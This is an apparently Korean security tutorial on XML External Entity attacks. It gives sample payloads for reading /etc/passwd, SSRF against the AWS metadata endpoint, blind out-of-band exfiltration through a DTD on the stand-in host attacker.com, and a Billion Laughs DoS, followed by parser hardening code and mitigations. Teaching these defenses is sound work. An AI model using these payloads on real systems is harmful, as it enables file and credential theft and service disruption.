XXE(XML External Entity) 공격은 XML 파서가 외부 엔티티 참조를 처리할 때 발생하는 취약점이다. OWASP Top 10에 포함된 이 공격으로 서버의 민감한 파일 읽기, SSRF, 원격 코드 실행까지 가능하다.
XML 엔티티 기초
xml
<!-- 내부 엔티티 -->
<!DOCTYPE foo [ <!ENTITY name "John"> ]>
<user>&name;</user> <!-- 출력: John -->
<!-- 외부 엔티티 (XXE 공격의 핵심) -->
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<user>&xxe;</user> <!-- /etc/passwd 내용이 응답에 포함 -->
공격 유형
1. 파일 읽기
xml
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
2. SSRF (서버 사이드 요청)
xml
<!DOCTYPE data [
<!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&ssrf;</data> <!-- AWS 메타데이터 접근 -->
3. Blind XXE (Out-of-Band)
xml
<!DOCTYPE data [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<!-- evil.dtd에서 외부 서버로 데이터 전송 -->
4. DoS (Billion Laughs)
xml
<!DOCTYPE bomb [
<!ENTITY a "lol">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!-- ... 지수적 메모리 팽창 -->
]>
방어 방법
python
# Python lxml: 외부 엔티티 비활성화
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
load_dtd=False
)
tree = etree.parse(xml_file, parser)
# Java: XXE 방어
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
| 방어책 | 설명 |
|---|
| 외부 엔티티 비활성화 | 가장 효과적인 방어 |
| DTD 처리 비활성화 | DOCTYPE 선언 차단 |
| JSON 사용 | XML 대신 JSON API 사용 |
| 입력 검증 | XML 스키마로 구조 검증 |
관련 개념